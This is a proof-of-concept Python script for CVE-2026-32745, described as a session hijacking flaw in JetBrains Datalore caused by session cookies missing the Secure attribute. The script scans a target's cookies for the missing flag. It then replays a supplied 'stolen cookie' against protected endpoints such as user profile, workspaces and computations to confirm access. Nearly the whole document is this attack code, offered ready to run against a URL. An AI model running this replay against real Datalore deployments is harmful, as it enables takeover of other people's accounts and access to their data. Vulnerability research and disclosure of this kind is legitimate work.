CVE-2026-32745: JetBrains Datalore 会话劫持漏洞

# CVE-2026-32745 PoC - JetBrains Datalore Session Hijacking # This PoC demonstrates the session hijacking vulnerability due to missing Secure cookie attribute import requests import argparse from http.cookiejar import CookieJar import urllib.parse def check_cookie_security(url): """ Check if the Datalore application sets cookies without Secure attribute """ session = requests.Session() response = session.get(url) print(f"[*] Checking cookie settings for: {url}") print(f"[*] Response status: {response.status_code}") # Check for JSESSIONID or other session cookies session_cookies = ['JSESSIONID', 'SESSION', 'SESSIONID', 'PHPSESSID'] vulnerable_cookies = [] for cookie in session.cookies: print(f"\n[+] Cookie Name: {cookie.name}") print(f"[+] Cookie Value: {cookie.value[:20]}...") print(f"[+] Cookie Domain: {cookie.domain}") print(f"[+] Cookie Secure Flag: {cookie.has_nonstandard_attr('Secure') or cookie.secure}") # Check if it's a session cookie without Secure flag if any(session_name.lower() in cookie.name.lower() for session_name in session_cookies): if not cookie.secure: vulnerable_cookies.append(cookie.name) print(f"[!] VULNERABLE: {cookie.name} is missing Secure attribute!") return vulnerable_cookies def simulate_session_hijacking(target_url, cookie_name, cookie_value): """ Simulate session hijacking by using stolen cookie """ print(f"\n[*] Simulating session hijacking...") # Create a new session with the stolen cookie hijacked_session = requests.Session() hijacked_session.cookies.set(cookie_name, cookie_value, domain='target_domain') # Try to access protected resources protected_endpoints = [ '/api/user/profile', '/api/workspaces', '/api/computations', '/dashboard' ] for endpoint in protected_endpoints: try: response = hijacked_session.get(target_url + endpoint) if response.status_code == 200: print(f"[+] Successfully accessed: {endpoint}") print(f"[+] Response length: {len(response.content)} bytes") elif response.status_code == 401: print(f"[-] Unauthorized: {endpoint}") else: print(f"[*] Status {response.status_code} for: {endpoint}") except Exception as e: print(f"[!] Error accessing {endpoint}: {str(e)}") def main(): parser = argparse.ArgumentParser(description='CVE-2026-32745 PoC') parser.add_argument('-u', '--url', required=True, help='Target Datalore URL') parser.add_argument('-c', '--cookie', help='Stolen cookie name=value') args = parser.parse_args() # Check for vulnerable cookies vulnerable = check_cookie_security(args.url) if vulnerable: print(f"\n[!] Found {len(vulnerable)} vulnerable session cookie(s)") print("[!] This indicates the application may be vulnerable to session hijacking") print("[!] Attackers on the same network could intercept these cookies via HTTP") else: print("\n[+] No vulnerable cookies detected (or all cookies have Secure flag)") # If cookie provided, simulate hijacking if args.cookie: parts = args.cookie.split('=') if len(parts) == 2: simulate_session_hijacking(args.url, parts[0], parts[1]) if __name__ == '__main__': main()